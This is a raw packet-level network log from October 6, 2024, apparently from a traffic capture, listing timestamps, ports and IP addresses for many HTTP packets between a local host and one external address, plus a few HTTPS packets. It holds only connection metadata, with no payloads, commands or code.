Oct 6, 2024 22:33:17.796753883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798381090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798397064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798480988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798496008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798511028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798526049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798542023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798543930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798557997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798573017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798583984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798589945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798602104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798624992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798626900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798640966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798655987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798664093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798672915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798686981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798688889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798697948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798702955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798718929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798722029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798738003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798743010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798753977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798764944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798768997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798784971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798785925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798794985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798799992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798813105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798815966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798825026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798840046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798845053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798856020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798861027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798877001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798892021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798898935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798907042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798922062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798933029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798944950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798950911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798965931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798973083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798981905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.798995972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.798995972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799005032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799012899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799026966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799031019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799037933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799048901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799056053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799067020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799072981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799088001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799088001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799098015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799103022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799118042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799124956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799134016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799134016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799146891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799153090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799170017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799174070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799184084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799185991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799201012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799210072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799216986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799221039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799228907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799233913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799251080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799256086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799266100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799271107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799280882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799288988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799297094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799313068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799316883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799316883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799329996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799335957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799346924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799350023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799364090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799374104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799380064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799381018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799398899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799411058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799422026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799426079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799442053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799446106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799458027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799458981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799477100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799478054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799489021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799494028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799510002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799518108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799530983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799534082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799552917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799556017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799570084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799577951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799585104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799587011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799602032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799611092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799623013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799642086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799674988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799690008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799705029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799720049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799732924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799735069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799751043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799757957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799767017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799777985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799799919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799808025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799843073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799859047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799881935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799897909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799901009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799915075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799923897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799931049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799945116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799947977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799959898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799959898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799978018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.799981117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.799993992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800008059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800012112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800023079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800024986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800035954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800040960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800056934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800061941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800072908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800085068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800117016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800122023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800132990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800137997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800151110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800170898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800574064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800620079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800710917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800725937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800740004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800755024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800766945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800770998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800786972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800791979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800801039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800803900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800817013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800828934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800832987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800841093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800857067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800857067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800873995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800882101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800896883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800899029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800909996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800926924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800935030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800937891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800954103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800954103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800970078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800981998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.800985098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.800992966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801001072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801016092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801017046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801024914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801033974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801044941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801048994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801054955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801065922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801078081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801081896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801095963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801099062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801105976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801115990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801120996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801132917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801137924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801148891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801156044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801172018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801187038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801193953 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.801583052 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.801594973 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.801737070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801753044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801768064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801783085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801794052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801820040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801832914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801848888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801863909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801878929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801887035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801893950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801898956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801911116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801925898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801930904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801939964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801948071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801958084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801965952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801975965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801981926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.801987886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.801997900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802007914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802014112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802017927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802030087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802033901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802046061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802048922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802059889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802061081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802078962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802082062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802092075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802095890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802113056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802115917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802128077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802150011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802377939 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.802382946 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.802503109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802519083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802541971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802555084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802556992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802565098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802575111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802586079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802592039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802598000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802608013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802618027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802623987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802633047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802640915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802649975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802654982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802670002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802670956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802678108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802687883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802695990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802704096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802711964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802720070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802728891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802736044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802750111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802752018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802758932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802769899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.802783012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802793026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.802813053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803148031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803163052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803178072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803193092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803205013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803209066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803225994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803230047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803246975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803251982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803267002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803267956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803282976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803287983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803297997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803303003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803313971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803317070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803329945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803329945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803344965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803348064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803360939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803368092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803375959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803380013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803399086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803411007 CEST	80	49741	141.98.233.156	192.168.2.4
